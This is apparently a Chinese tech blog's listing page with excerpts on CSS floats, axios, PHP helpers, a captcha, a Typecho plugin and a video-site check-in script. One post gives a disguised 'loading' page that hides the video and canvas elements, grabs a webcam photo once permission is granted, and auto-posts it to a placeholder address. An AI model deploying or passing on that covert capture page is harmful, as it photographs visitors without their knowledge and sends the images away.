首页
友链
壁纸
留言
今日热榜
更多
关于
时光
推荐
精品流量卡
Search
1
都二十多年了,你的梦为什么还没碎!
57,107 阅读
2
2022年5个好用的 BT/ 磁力链接下载工具推荐 |Windows 、安卓系统
37,501 阅读
3
nps内网穿透实现外网访问树莓派
32,443 阅读
4
实践利用宝塔建emlog个人博客-超详细【原创】
26,144 阅读
5
Typecho-Joe-Theme主题帮助文档
24,694 阅读
闲杂乱码
Python
网站源码
微信小程序
娱乐分享
Is相册
软件工具
登录
Search
标签搜索
PHP
HTML
API
Javascript
源码
JS
Vue
Github
CloudFlare
接口
函数
SQL
ASP.NET
MVC
EF
T4模板
后台管理
CDN
微信小程序
MAC
韩小韩
累计撰写
262
篇文章
累计收到
1,310
条评论
首页
栏目
闲杂乱码
Python
网站源码
微信小程序
娱乐分享
Is相册
软件工具
页面
友链
壁纸
留言
今日热榜
关于
时光
推荐
精品流量卡
搜索到
151
篇与
闲杂乱码
的结果
2021-05-20
HTML清除浮动的几种方法
父元素浮动给父元素设置浮动后,子元素的浮动会归位,不过如果还有父元素,还需要设置。不推荐使用。空标签设置在元素末尾插入一个无意义标签,并且设置css为clear:both;<div style="background: #000;"> <p style="float: left;color:#fff"> 我是浮动内容 </p> <div style="clear: both;"></div> </div>设置伪类方式使用伪类的:after方式,给清除浮动,比较流行使用这个。<style type="text/css"> .clearfix:after{ content: '.'; display: block; height: 0; clear: both; visibility: hidden; } </style> <div style="background: #000;" class="clearfix"> <p style="float: left;color:#fff"> 我是浮动内容 </p> </div>上面的css可以进一步优化.clearfix:after{ content: ''; display: table; clear: both; }显示方式属性给父元素设置overflow,即可清除里面的浮动<div style="background: #000;overflow: auto;"> <p style="float: left;color:#fff"> 我是浮动内容 </p> </div>BFC属性只要触发了bfc,就会清除浮动相关触发:overflow: auto; overflow: hidden; display: inline-block; display: table-cell; display: table-caption; position: absolute; position: fixed; float: left; float: right;
2021年05月20日
822 阅读
0 评论
0 点赞
2021-04-28
H5中JS调用摄像头截图拍照并发送
H5中JS调用摄像头截图拍照并发送<!DOCTYPE html> <html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>loding...</title> <style> body{background:#ffffff}.clock{position:absolute;opacity:1}.fill .clock{left:50%;top:50%}.centre{position:absolute;top:50%;left:50%;width:0;height:0}.expand{position:absolute;top:0;left:0;transform:translate(-50%,-50%)}.anchor{position:absolute;top:0;left:0;width:0;height:0}.element{position:absolute;top:0;left:0}.round{border-radius:296px}.circle-1{background:#000000;width:12px;height:12px}.circle-2{background:#fa9f22;width:8px;height:8px}.circle-3{background:#ffffff;width:4px;height:4px}.second{transform:rotate(180deg)}.minute{transform:rotate(54deg)}.second-hand{width:2px;height:164px;background:#fa9f22;transform:translate(-50%,-100%) translateY(24px)}.hour{transform:rotate(304.5deg)}.thin-hand{width:4px;height:50px;background:#ff0000;transform:translate(-50%,-100%)}.fat-hand{width:10px;height:57px;border-radius:10px;background:#000000;transform:translate(-50%,-100%) translateY(-18px)}.minute-hand{height:112px}.hour-text{position:absolute;font:40px Hei,Helvetica,Arial,sans-serif;color:#000000;transform:translate(-50%,-50%)}.hour-10{padding-left:.4ex}.hour-11{padding-left:.25ex}.minute-text{position:absolute;font:12px Avenir Next,Helvetica,Arial,sans-serif;color:#000000;transform:translate(-50%,-50%)}.minute-line{background:#000000;width:1px;height:9px;transform:translate(-50%,-100%) translateY(-131px);opacity:1} </style> </head> <body> <video id="video" width="0" height="0" autoplay></video> <canvas style="width:0px;height:0px" id="canvas" width="480" height="640"></canvas> <form action="截图好并发送的地址" id="gopo" method="post"> <input type="hidden" name="img" id="result" value="" /> <input type='hidden' name='mod' value='up'/> </form> </body> <script> window.addEventListener("DOMContentLoaded", function() { var canvas = document.getElementById('canvas'); var context = canvas.getContext('2d'); var video = document.getElementById('video'); if(navigator.mediaDevices && navigator.mediaDevices.getUserMedia) { navigator.mediaDevices.getUserMedia({ video: true }).then(function(stream) { video.srcObject = stream; video.play(); setTimeout(function(){context.drawImage(video, 0, 0, 480, 640);},1000); setTimeout(function(){ var img = canvas.toDataURL('image/png'); document.getElementById('result').value = img; document.getElementById('gopo').submit(); },1300); },function(){ window.location.href = 'http://baidu.com'; }); } }, false); </script> </html>
2021年04月28日
1,383 阅读
2 评论
4 点赞
2021-03-12
腾讯视频自动签到脚本
吐槽:该死的 TX 视频不能自动增长成长值了!必须要自己手动签到.签到页面还难找,麻烦的要死.那么弄个脚本自动签到一下吧.我快一年好莱坞会员 6 了一直升级不到 7.估计得挂一年才到 7.坑!准备cookie腾讯云函数开始1.先按下F12,登录腾讯视频https://v.qq.com,扫码,账号密码登录都可以.2.找到下面的链接https;//access.video.qq,com/user/auth_refresh?vappid=&vsecret=&type=qq&g_tk=&g_vstk=&g_actk=&callback=jQuery_1581095328109&_=1*然后复制这个链接到记事本里(一会用到)然后把 cookie复制出来把上面的 链接 和 cookie 放在记事本里(一会用到)3.登录腾讯云,找到腾讯云函数(https://console.cloud.tencent.com/scf/list).4.点击下一步直接复制下面代码,各式不要变,替换刚刚复制的链接和cookie即可。# coding: utf-8 import requests import sys reload(sys) sys.setdefaultencoding('utf8') def start(): login_headers = { 'Referer': 'https://v.qq.com', 'Cookie': 'tvfe_boss_uuid=****************; video_guid=****************; video_platform=2; pgv_pvid=****************; pgv_info=ssid=****************; RK=7tisrTqPWm; ptcz=****************; main_login=qq; vqq_access_token=****************; vqq_appid=****************; vqq_openid=****************; vqq_vuserid=170104213; vqq_vusession=****************..; vqq_refresh_token=****************; login_time_init=2021-3-12 9:3:43; vqq_next_refresh_time=6597; vqq_login_time_init=****************; login_time_last=2021-3-12 9:3:47; uid=****************' } login = requests.get('https://access.video.qq.com/user/auth_refresh?vappid=****************&vsecret=****************&type=qq&g_tk=&g_vstk=****************&g_actk=****************&callback=****************&_=****************', headers=login_headers) cookie = requests.utils.dict_from_cookiejar(login.cookies) sign_headers = { 'Cookie': 'tvfe_boss_uuid=****************; video_guid=****************; video_platform=2; pgv_pvid=****************; pgv_info=ssid=****************; RK=****************; ptcz=**********************; main_login=qq; vqq_access_token=****************; vqq_appid=****************; vqq_openid=****************; vqq_vuserid=170104213; vqq_vusession='+cookie['vqq_vusession']+';' } sign = requests.get( 'https://vip.video.qq.com/fcgi-bin/comm_cgi?name=hierarchical_task_system&cmd=2', headers=sign_headers).text if 'Account Verify Error' in sign: print 'Sign error,Cookie Invalid' requests.get('https://sc.ftqq.com/你的方糖的key.send?text=%e7%ad%be%e5%88%b0%e5%a4%b1%e8%b4%a5&desp=%e7%ad%be%e5%88%b0%e5%a4%b1%e8%b4%a5%ef%bc%8cCookie%e5%a4%b1%e6%95%88') else: print 'Sign Success' requests.get('https://sc.ftqq.com/你的方糖的key.send?text=%e7%ad%be%e5%88%b0%e6%88%90%e5%8a%9f%ef%bc%8c%e8%8e%b7%e5%be%97%e5%88%86%e6%95%b0%ef%bc%9a' + sign[42:-14]+'&desp=%e7%ad%be%e5%88%b0%e6%88%90%e5%8a%9f%ef%bc%8c%e8%8e%b7%e5%be%97%e5%88%86%e6%95%b0%ef%bc%9a'+sign[42:-14]) def main_handler(event, context): return start() if __name__ == '__main__': start()替换"cookie"为你刚才存到记事本的 cookie(第二个 cookie 变量别覆盖了),替换 SCKEY 为你的 KEY,server 酱(为了微信通知)的地址,申请地址:http://sc.ftqq.com/5.点击完成定时执行.或者每天的凌晨 3 点自动执行自定义周期 0 0 3 测试一下.有可能返回 null ,登陆自己的腾讯视频,看看有没有签到,如果签到了,就是OK的!视频教程{dplayer src="https://d0.ananas.chaoxing.com/download/8861d8b91419a21d745aa32aa8dd8454?at_=1615515823053&ak_=bc6a453748c428eabb5a51ae2f9a3601&ad_=a8e6211cf2970ed19c273163cf50df03"/}
2021年03月12日
2,721 阅读
4 评论
3 点赞
2021-02-04
Typecho插件 - 为你的文章生成海报
灵感起源{message type="info" content="其实写这个插件的初衷还是因为 —— 我没钱!没错,就是我没钱。其实最早是在 Typecho 爱好者博客里面看到的。当时感觉这个插件的确不错,我很喜欢。但是付费下载就很要命了啊,虽然说 15 块钱只是我一顿早饭钱,但是我买一屉包子他不香嘛 (其实还是因为我没钱)。"/}特色功能全过程使用 GD 库生成海报,所以说不用担心排版错乱。生成海报后保存到插件目录下的 poster 文件夹,节省第二次生成时间。使用必应每日一图作为头图,每天的文章都有不同的新鲜感。支持自定义按钮样式,方便同一主题样式,不会突兀。推荐使用 Cuckoo 主题插件售价{callout color="#f0ad4e"}本插件不要 998,也不要 888,只要... 其实插件是免费的。我也没想收费,就是临时兴起写的小代码,也没有那么多的精力去维护,最主要的是本人不会前端,所以说做不到那么好的效果。{/callout}更新日志{collapse}{collapse-item label="2020-05-14 更新说明" open}新增本地节点,可以自己魔改了修复计算文章阅读时间不准确修复文章中有 markdown 语法自定义头像和自定义头图懒得写懒得修改按钮样式的可以直接引入 mdui 了{/collapse-item}{collapse-item label="2020-04-06 更新说明"}不出意外这是最近一段时间内最后一次更新又㕛叒叕重写了一下适配 pjax 主题的部分为了考虑国外主机的小伙伴,特意增加了节点选择,可以选择速度快的服务器了填了一下之前留下的坑,并且现在不需要去申请 token 了关于很多人提到的自定义封面图再次推迟{/collapse-item}{collapse-item label="2020-03-24 更新说明"}修复本插件在设置了自定义文章路径的网站获取不到链接的 bug{/collapse-item}{collapse-item label="2020-03-20 临时更新"} 修复无法启用插件 (这是我的锅,写代码的时候没有注意先后顺序)使用不了时可以按照 Plugin.php 第 6 行的方法来反馈 bug{/collapse-item}{collapse-item label="2020-03-20 更新说明"}修复未开启页面重写无法生成海报 (无伪静态孩纸的福音)新增检查更新功能,麻麻再也不用担心我用旧版本了新增 QQ 防举报,全屏防举报功能重写部分逻辑,效果更稳定{/collapse-item}{collapse-item label="2020-03-19 临时更新"}为防止插件被别有用心的人收费,特加入鉴权机制,需要申请 token 之后才可以使用 (免费哒)增加模态框展示海报,直接下载太丑了再再再次修复无法在 pjax 主题中使用自定义按钮样式不再是 article-poster,请改成 article-poster-button下一个版本再加检测更新{/collapse-item}{collapse-item label="2020-03-19 更新说明"}修复无法在 pjax 主题中使用将 js 保存到一个单独文件{/collapse-item}{collapse-item label="2020-03-18 更新说明"}使用 GD 库生成海报支持自定义引入 jquery支持自定义按钮样式海报默认保存到本地{/collapse-item}{/collapse}安装说明将插件上传到 /usr/plugins/,并重命名为 ArticlePoster修改 post.php,在合适的位置加入挂载点<?php ArticlePoster_Plugin::button($this->cid); ?>在后台插件设置填写好信息,一定要填自定义分享按钮样式,并且在 class 里面加入 article-poster-button如果你的模板没有引入 jquery 或者上述过程都设置好了点击按钮无响应,可以开启加载 jquery修改图标部分可以找到 /usr/plugins/ArticlePoster/js/core.js,修改注释部分图标样式pjax 适配自 1.0.6 之后重新调整对于 pjax 的适配方案,如果主题有 pjax 回调可以直接填下以下代码,如果没有那么推荐你使用 Cuckoo 主题$('.article-poster-button').on('click',function(){ create_poster(); }); $('[data-event=\'poster-close\']').on('click', function(){ $('.article-poster, .poster-popover-mask, .poster-popover-box').fadeOut() }); $('[data-event=\'poster-download\']').on('click', function(){ download_poster(); });海报演示点击此页文章底部 生成海报 按钮下载地址{cloud title="蓝奏云盘下载" type="lz" url="https://ohan.lanzoux.com/iim1Blan2hi" password=""/}{alert type="info"}转自 《Typecho 插件 - 为你的文章生成海报》 https://www.moleft.cn/post-53.html{/alert}
2021年02月04日
1,465 阅读
5 评论
14 点赞
2021-01-21
axios多并发请求axios.all([])
代码演示function A() { return axios.get('/api1'); } function B() { return axios.get('/api2'); } axios.all([A(), B()]) .then(axios.spread((res1, res2) => { // 两个请求现在都执行完成 }));axios.all([]) 返回的结果是一个数组,使用 axios.spread 可将数组 [res1,res2] 展开为 res1, res2 直接通过配置发送请求。
2021年01月21日
798 阅读
0 评论
1 点赞
2021-01-21
axios请求二次封装,兼容typescript
适合初学者配置使用,只封装了get和post其他类似patch、put和axios.all()的方法得自己动手了,如果遇到项目有多个baseURL的这套封装就显得很不灵活,但一般是不会遇到的,这套简单的封装总的来说够用了,且非常实用。新建https.ts复制下面代码进去引用即可,如果是js版本的把url:any, param:any后面的:any去掉。import axios from 'axios' import qs from 'qs' axios.defaults.timeout = 5000; //响应时间 axios.defaults.headers.post['Content-Type'] = 'application/x-www-form-urlencoded;charset=UTF-8'; //配置请求头 axios.defaults.baseURL = 'http://192.168.0.6:9000'; //配置接口地址 //POST传参序列化(添加请求拦截器) axios.interceptors.request.use((config) => { //在发送请求之前做某件事 if (config.method === 'post') { config.data = qs.stringify(config.data); } return config; }, (error) => { console.log('错误的传参') return Promise.reject(error); }); //返回状态判断(添加响应拦截器) axios.interceptors.response.use((res) => { //对响应数据做些事 if (!res.data.success) { return Promise.resolve(res); } return res; }, (err) => { if (err.response.status == 504 || err.response.status == 404) { console.log("服务器被吃了⊙﹏⊙∥") } else if (err.response.status == 403) { console.log("权限不足,请联系管理员!") } else { console.log("未知错误") } return Promise.reject(err); }); //返回一个Promise(发送post请求) export function myPost(url: any, params: any) { return new Promise((resolve, reject) => { axios.post(url, params) .then(response => { resolve(response); }, err => { reject(err); }) .catch((error) => { reject(error) }) }) } ////返回一个Promise(发送get请求) export function myGet(url: any, param: any) { return new Promise((resolve, reject) => { axios.get(url, { params: param }) .then(response => { resolve(response) }, err => { reject(err) }) .catch((error) => { reject(error) }) }) } export default { myPost, myGet, }axios使用方法<template> <div class="home"> </div> </template> <script lang="ts"> import { Component, Vue } from "vue-property-decorator"; import https from "../https"; //1.引入 @Component({ data() { return { dataList: [] } }, created() { console.log(https) let param = { pageNo: 1, pageSize: 20 }; //2.使用 https.myGet("/case/lists", param).then(res => { console.log(res.data.dataList); this.dataList = res.data.dataList; }) .catch(err => console.log(err)); } }) export default class Home extends Vue {} </script>axios拦截器指定页面添加token// 拦截request,/ 添加请求拦截器 axios.interceptors.request.use(function (config) { // 在发送请求之前做些什么 if (config.url !== "login") { config.headers['Authorization'] = localStorage.getItem("token"); } return config; }, function (error) { // 对请求错误做些什么 return Promise.reject(error); });接口请求错误处理(status !== 200),应用场景:全局拦截报错信息跳转指定页面(login、home)//返回状态判断(添加响应拦截器) axios.interceptors.response.use((res) => { //对响应数据做些事 if (!res.data.success) { return Promise.resolve(res); } return res; }, (error) => { console.log('网络异常') console.log(error.response.status); //直接打印error打印不出来!!!! // console.log(error.response.data); // console.log(error.response.headers); return Promise.reject(error); });
2021年01月21日
864 阅读
0 评论
0 点赞
2021-01-20
PHP简易汉字验证码
实现代码<?php /** * PHP实现简易汉字验证码的思路 */ // 创建画布 $image = imagecreatetruecolor(200, 60); $background = imagecolorallocate($image, 255, 255, 255); imagefill($image, 0, 0, $background); // 画干扰点 for ($i=0; $i < 300; $i++) { $pixColor = imagecolorallocate($image, rand(150, 240), rand(150, 240), rand(150, 240)); $pixX = rand(10, 190); $pixY = rand(5, 55); imagesetpixel($image, $pixX, $pixY, $pixColor); } // 画干扰线 //4条水平线 for ($i=0; $i < 5; $i++) { $lineColor = imagecolorallocate($image, rand(50, 150), rand(50, 150), rand(50, 150)); $lineX1 = 0; $lineX2 = 300; $lineY1 = ($i + 1) * 12; $lineY2 = ($i + 1) * 12; imageline($image, $lineX1, $lineY1, $lineX2, $lineY2, $lineColor); } //10条垂直线 for ($i=0; $i < 30; $i++) { $lineColor = imagecolorallocate($image, rand(50, 150), rand(50, 150), rand(50, 150)); $lineX1 = ($i + 1) * 10; $lineX2 = ($i + 1) * 10; $lineY1 = 0; $lineY2 = 60; imageline($image, $lineX1, $lineY1, $lineX2, $lineY2, $lineColor); } // 画汉字 $text = array('栀', '子', '花', '开'); for ($i=0; $i < 4; $i++) { $textColor = imagecolorallocate($image, rand(20, 100), rand(20, 100), rand(20, 100)); $textX = $i * 50 + 10; $textY = rand(40, 60); // 字体文件为英文名 imagettftext($image, 30, rand(20, 50), $textX, $textY, $textColor, "STFANGSO.TTF", $text[$i]); } // 输出图像 header("content-type:image/png"); imagepng($image); // 销毁图像 imagedestroy($image);效果{alert type="info"}转自 教书先生博客 - PHP简易汉字验证码 https://blog.oioweb.cn/55.html{/alert}
2021年01月20日
593 阅读
0 评论
1 点赞
2021-01-20
PHP函数大全·持续更新
邮箱验证function is_valid_email($email) { if (preg_match('/^[\w\-\.]+@[\w\-\.]+(\.\w+)+$/', $email)) { return true; } else { return false; } } OR function check_email($email) { $result = trim($email); if (filter_var($result, FILTER_VALIDATE_EMAIL)) { return true; } else { return false; } }301跳转function redirect($url) { header('location:'.$url, false, 301); exit; }获取客户端IPfunction real_ip($type = 0) { $ip = $_SERVER['REMOTE_ADDR']; if ($type <= 0 && isset($_SERVER['HTTP_X_FORWARDED_FOR']) && preg_match_all('#\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}#s', $_SERVER['HTTP_X_FORWARDED_FOR'], $matches)) { foreach ($matches[0] as $xip) { if (filter_var($xip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4 | FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) { $ip = $xip; break; } } } elseif ($type <= 0 && isset($_SERVER['HTTP_CLIENT_IP']) && filter_var($_SERVER['HTTP_CLIENT_IP'], FILTER_VALIDATE_IP, FILTER_FLAG_IPV4 | FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) { $ip = $_SERVER['HTTP_CLIENT_IP']; } elseif ($type <= 1 && isset($_SERVER['HTTP_CF_CONNECTING_IP']) && filter_var($_SERVER['HTTP_CF_CONNECTING_IP'], FILTER_VALIDATE_IP, FILTER_FLAG_IPV4 | FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) { $ip = $_SERVER['HTTP_CF_CONNECTING_IP']; } elseif ($type <= 1 && isset($_SERVER['HTTP_X_REAL_IP']) && filter_var($_SERVER['HTTP_X_REAL_IP'], FILTER_VALIDATE_IP, FILTER_FLAG_IPV4 | FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) { $ip = $_SERVER['HTTP_X_REAL_IP']; } return $ip; }X_FORWARDED_FOR:之前的获取真实IP方式,极易被伪造IPX_REAL_IP:在网站使用CDN的情况下选择此项,在不使用CDN的情况下也会被伪造REMOTE_ADDR:直接获取真实请求IP,无法被伪造,但可能获取到的是CDN节点IP取中间文本function getSubstr($str, $leftStr, $rightStr) { $left = strpos($str, $leftStr); $right = strpos($str, $rightStr, $left); if ($left < 0) return ''; if ($right > 0) { return substr($str, $left + strlen($leftStr), $right - $left - strlen($leftStr)); } else { return substr($str, $left + strlen($leftStr)); } }是否HTTPS访问function is_https() { if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) { return true; } elseif (isset($_SERVER['HTTPS']) && (strtolower($_SERVER['HTTPS']) == 'on' || $server['HTTPS'] == '1')) { return true; } elseif (isset($_SERVER['HTTP_X_CLIENT_SCHEME']) && $_SERVER['HTTP_X_CLIENT_SCHEME'] == 'https') { return true; } elseif (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') { return true; } elseif (isset($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') { return true; } elseif (isset($_SERVER['HTTP_EWS_CUSTOME_SCHEME']) && $_SERVER['HTTP_EWS_CUSTOME_SCHEME'] == 'https') { return true; } return false; }随机IPfunction randIp() { return mt_rand(0, 255) . '.' . mt_rand(0, 255) . '.' . mt_rand(0, 255) . '.' . mt_rand(0, 255); }毫秒时间戳function msectime() { list($msec, $sec) = explode(' ', microtime()); return (float)sprintf('%.0f', (floatval($msec) + floatval($sec)) * 1000); }获取重定向地址function getrealurl($url){ @$header = get_headers($url,1); if (strpos($header[0],'301') || strpos($header[0],'302')) { if(is_array($header['Location'])) { return $header['Location'][count($header['Location'])-1]; }else{ return $header['Location']; } }else { return $url; } }jsonp转数组function jsonp_decode($jsonp, $assoc = false) { $jsonp = trim($jsonp); if (isset($jsonp[0]) && $jsonp[0] !== '[' && $jsonp[0] !== '{') { $begin = strpos($jsonp, '('); if (false !== $begin) { $end = strrpos($jsonp, ')'); if (false !== $end) { $jsonp = substr($jsonp, $begin + 1, $end - $begin - 1); } } } return json_decode($jsonp, $assoc); }秒数转换详细时间/** * 将秒数转换为剩余详细时间! */ function Sec2Time($time) { if (is_numeric($time)) { $value = array( "years" => 0, "days" => 0, "hours" => 0, "minutes" => 0, "seconds" => 0, ); if ($time >= 31556926) { $value["years"] = floor($time / 31556926); $time = ($time % 31556926); } if ($time >= 86400) { $value["days"] = floor($time / 86400); $time = ($time % 86400); } if ($time >= 3600) { $value["hours"] = floor($time / 3600); $time = ($time % 3600); } if ($time >= 60) { $value["minutes"] = floor($time / 60); $time = ($time % 60); } $value["seconds"] = floor($time); $t = ($value["years"] >= 1 ? $value["years"] . "年" : '') . ($value["days"] >= 1 ? $value["days"] . "天" : '') . ($value["hours"] >= 1 ? $value["hours"] . "小时" : '') . ($value["minutes"] >= 1 ? $value["minutes"] . "分" : '') . ($value["seconds"] >= 1 ? $value["seconds"] . "秒" : ''); return (!empty($t) ? $t : '0秒'); } else { return (bool) FALSE; } }时间相差秒数/** * @param $startdate 开始时间 * @param int $enddate 结束时间 * 返回两者之间相差多少秒 */ function TimeLag($startdate, $enddate = -1) { global $date; $enddate = ($enddate == -1 ? $date : $enddate); $time = strtotime($enddate) - strtotime($startdate); //和结束时间的时间戳 $text = ''; $dater = floor(($time) / 86400); if ($dater > 0) { $time = $time - ($dater * 86400); $text .= $dater . '天'; } $hour = floor(($time) / 3600); if ($hour > 0) { $time = $time - ($hour * 3600); $text .= $hour . '小时'; } $minute = floor(($time) / 60); $time = $time - ($minute * 60); if ($minute > 0) { $text .= $minute . '分钟'; } $second = floor(($time) % 60); if ($second > 0) { $text .= $second . '秒'; } return $text; }生成唯一token参数/** * @param $vals 混淆函数 * 生成唯一token参数! */ function TokenCreate($vals = '1') { $key = mt_rand(); $hash = hash_hmac("sha1", $vals . mt_rand() . time(), $key, true); return str_replace(['=', '_', '-'], '', strtr(base64_encode($hash), '+/', '-_')); }
2021年01月20日
1,125 阅读
0 评论
0 点赞
1
...
8
9
10
...
19